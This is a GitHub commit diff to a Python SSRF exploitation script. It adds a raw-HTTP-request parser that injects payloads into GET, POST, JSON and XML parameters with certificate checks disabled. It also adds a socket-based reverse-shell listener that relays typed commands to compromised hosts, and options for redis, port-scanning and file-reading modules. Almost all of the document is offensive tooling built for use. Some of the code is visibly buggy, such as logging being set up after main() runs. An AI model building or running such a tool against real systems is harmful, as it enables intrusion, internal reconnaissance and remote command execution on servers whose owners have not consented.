Skip to content

Commit 85973a0

Browse files
authored
Update ssrf-exploition.py
1 parent 2ba6143 commit 85973a0

File tree

1 file changed

+237
-3
lines changed

1 file changed

+237
-3
lines changed

ssrf-exploition.py

+237-3
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,17 @@
11
from banner.banner import banner
2+
import urllib.parse
3+
import urllib3
24
import regex
35
import argparse
46
import requests
57
import time
68
import os
79
import threading
810
import random
11+
import logging
12+
import re
13+
import json
14+
import socket
915

1016
execPath = os.getcwd()
1117
currentPath = os.path.dirname(__file__)
@@ -16,13 +22,32 @@
1622
LOCK = threading.Lock()
1723

1824
banner()
19-
parser = argparse.ArgumentParser()
25+
26+
example_text = '''Example:
27+
python3 ssrf-exploit.py -u https://example.com/
28+
python3 ssrf-exploit.py -u https://example.com/ -m redis
29+
python3 ssrf-exploit.py -u https://example.com/ -m portscan
30+
python3 ssrf-exploit.py -u https://example.com/ -m readfiles --rfile
31+
python3 ssrf-exploit.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
32+
python3 ssrf-exploit.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
33+
34+
'''
35+
parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
2036
parser.add_argument("--file", "-f", type=str, required=False, help= 'file of all URLs to be tested against SSRF')
2137
parser.add_argument("--url", "-u", type=str, required=False, help= 'url to be tested against SSRF')
2238
parser.add_argument("--threads", "-n", type=int, required=False, help= 'number of threads for the tool')
2339
parser.add_argument("--output", "-o", type=str, required=False, help='output file path')
40+
parser.add_argument("--moudle", "-m", action="store", dest="moudles", help="SSRF Moudles to enable")
41+
parser.add_argument("--handler", "-l", action="store", dest="handler", help="Start an handler for a reverse shell" )
2442
parser.add_argument("--oneshot", "-t", action='store_true', help='fuzz with only one basic payload - to be activated in case of time constraints')
25-
parser.add_argument("--verbose", "-v", action='store_true', help='activate verbose mode')
43+
parser.add_argument("--rfiles", "-r", action="store", dest="targetfiles", help="Files to read with readfiles moudle" )
44+
parser.add_argument("--verbose", "-v", action='store_true', help='activate verbose mode' )
45+
parser.add_argument("--lhost", action="store", dest="lhost", help="LHOST reverse shell")
46+
parser.add_argument("--lport", action="store", dest="lport", help="LPORT reverse shell")
47+
parser.add_argument("--ssl", action ='store', dest='ssl', help="Use HTTPS without verification", )
48+
parser.add_argument("--proxy", action ='store', dest='proxy', help="Use HTTP(s) proxy (ex: http://localhost:8080)")
49+
parser.add_argument("--level", action ='store', dest='level', help="Level of test to perform (1-5, default: 1)", default=1, type=int)
50+
parser.add_argument("--uagent", action="store", dest="useragent", help="useragent to use")
2651

2752

2853
args = parser.parse_args()
@@ -51,6 +76,201 @@
5176

5277
extractInteractionServerURL = "(?<=] )([a-z0-9][a-z0-9][a-z0-9].*)"
5378

79+
class Handler(threading.Thread):
80+
81+
def __init__(self, port):
82+
threading.Thread.__init__(self)
83+
logging.info(f"Handler listening on 0.0.0.0:{port}")
84+
self.connected = False
85+
self.port = int(port)
86+
87+
def run(self):
88+
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
89+
self.socket.bind(('', self.port))
90+
91+
while True:
92+
self.socket.listen(5)
93+
self.client, address = self.socket.accept()
94+
print(f"Handler> New session from {address[0]}")
95+
self.connected = True
96+
97+
response = self.client.recv(255)
98+
while response != b"":
99+
print(f"\n{response.decode('utf_8', 'ignore').strip()}\nShell > $ ", end='')
100+
response = self.client.recv(255)
101+
102+
def listen_command(self):
103+
if self.connected == True:
104+
cmd = input("Shell> $ ")
105+
if cmd == "exit":
106+
self.kill()
107+
print("BYE !")
108+
exit()
109+
self.send_command(cmd+"\n\n")
110+
111+
def send_command(self, cmd):
112+
self.client.sendall(cmd.encode())
113+
114+
def kill(self):
115+
self.client.close()
116+
self.socket.close()
117+
118+
119+
class Requester(object):
120+
protocol = "http"
121+
host = ""
122+
method = ""
123+
action = ""
124+
headers = {}
125+
data = {}
126+
127+
def __init__(self, path, uagent, ssl, proxies):
128+
try:
129+
# Read file request
130+
with open(path, 'r') as f:
131+
content = f.read().strip()
132+
except IOError as e:
133+
logging.error("File not found")
134+
exit()
135+
136+
try:
137+
content = content.split('\n')
138+
# Parse method and action URI
139+
regex = re.compile('(.*) (.*) HTTP')
140+
self.method, self.action = regex.findall(content[0])[0]
141+
142+
# Parse headers
143+
for header in content[1:]:
144+
name, _, value = header.partition(': ')
145+
if not name or not value:
146+
continue
147+
self.headers[name] = value
148+
self.host = self.headers['Host']
149+
150+
# Parse user-agent
151+
if uagent != None:
152+
self.headers['User-Agent'] = uagent
153+
154+
# Parse data
155+
self.data_to_dict(content[-1])
156+
157+
# Handling HTTPS requests
158+
if ssl == True:
159+
self.protocol = "https"
160+
161+
self.proxies = proxies
162+
163+
except Exception as e:
164+
logging.warning("Bad Format or Raw data !")
165+
166+
167+
def data_to_dict(self, data):
168+
if self.method == "POST":
169+
170+
# Handle JSON data
171+
if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']:
172+
self.data = json.loads(data)
173+
174+
# Handle XML data
175+
elif self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']:
176+
self.data['__xml__'] = data
177+
178+
# Handle FORM data
179+
else:
180+
for arg in data.split("&"):
181+
regex = re.compile('(.*)=(.*)')
182+
for name,value in regex.findall(arg):
183+
name = urllib.parse.unquote(name)
184+
value = urllib.parse.unquote(value)
185+
self.data[name] = value
186+
187+
188+
def do_request(self, param, value, timeout=3, stream=False):
189+
try:
190+
if self.method == "POST":
191+
# Copying data to avoid multiple variables edit
192+
data_injected = self.data.copy()
193+
194+
if param in str(data_injected): # Fix for issue/10 : str(data_injected)
195+
data_injected[param] = value
196+
197+
# Handle JSON data
198+
if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']:
199+
r = requests.post(
200+
self.protocol + "://" + self.host + self.action,
201+
headers=self.headers,
202+
json=data_injected,
203+
timeout=timeout,
204+
stream=stream,
205+
verify=False,
206+
proxies=self.proxies
207+
)
208+
209+
# Handle FORM data
210+
else:
211+
if param == '': data_injected = value
212+
r = requests.post(
213+
self.protocol + "://" + self.host + self.action,
214+
headers=self.headers,
215+
data=data_injected,
216+
timeout=timeout,
217+
stream=stream,
218+
verify=False,
219+
proxies=self.proxies
220+
)
221+
else:
222+
if self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']:
223+
if "*FUZZ*" in data_injected['__xml__']:
224+
225+
# replace the injection point with the payload
226+
data_xml = data_injected['__xml__']
227+
data_xml = data_xml.replace('*FUZZ*', value)
228+
229+
r = requests.post(
230+
self.protocol + "://" + self.host + self.action,
231+
headers=self.headers,
232+
data=data_xml,
233+
timeout=timeout,
234+
stream=stream,
235+
verify=False,
236+
proxies=self.proxies
237+
)
238+
239+
else:
240+
logging.error("No injection point found ! (use -p)")
241+
exit(1)
242+
else:
243+
logging.error("No injection point found ! (use -p)")
244+
exit(1)
245+
else:
246+
# String is immutable, we don't have to do a "forced" copy
247+
regex = re.compile(param+"=([^&]+)")
248+
value = urllib.parse.quote(value, safe='')
249+
data_injected = re.sub(regex, param+'='+value, self.action)
250+
r = requests.get(
251+
self.protocol + "://" + self.host + data_injected,
252+
headers=self.headers,
253+
timeout=timeout,
254+
stream=stream,
255+
verify=False,
256+
proxies=self.proxies
257+
)
258+
except Exception as e:
259+
logging.error(e)
260+
return None
261+
return r
262+
263+
def __str__(self):
264+
text = self.method + " "
265+
text += self.action + " HTTP/1.1\n"
266+
for header in self.headers:
267+
text += header + ": " + self.headers[header] + "\n"
268+
269+
text += "\n\n"
270+
for data in self.data:
271+
text += data + "=" + self.data[data] + "&"
272+
return text[:-1]
273+
54274
def getFileSize(fileID):
55275
interactionLogs = open(f"output/threadsLogs/interaction-logs{fileID}.txt", "r")
56276
return len(interactionLogs.read())
@@ -237,7 +457,21 @@ def main():
237457
for thread in workingThreads:
238458
thread.join()
239459
outputFile.close()
460+
240461

241462

242463
if __name__ == '__main__':
243-
main()
464+
main()
465+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
466+
467+
logging.basicConfig(
468+
level=logging.INFO,
469+
format="[%(levelname)s]:%(message)s",
470+
handlers=[
471+
logging.FileHandler("ssrf-exploit.log", mode='w'),
472+
logging.StreamHandler()
473+
]
474+
)
475+
476+
logging.addLevelName( logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING))
477+
logging.addLevelName( logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR))

0 commit comments

Comments
 (0)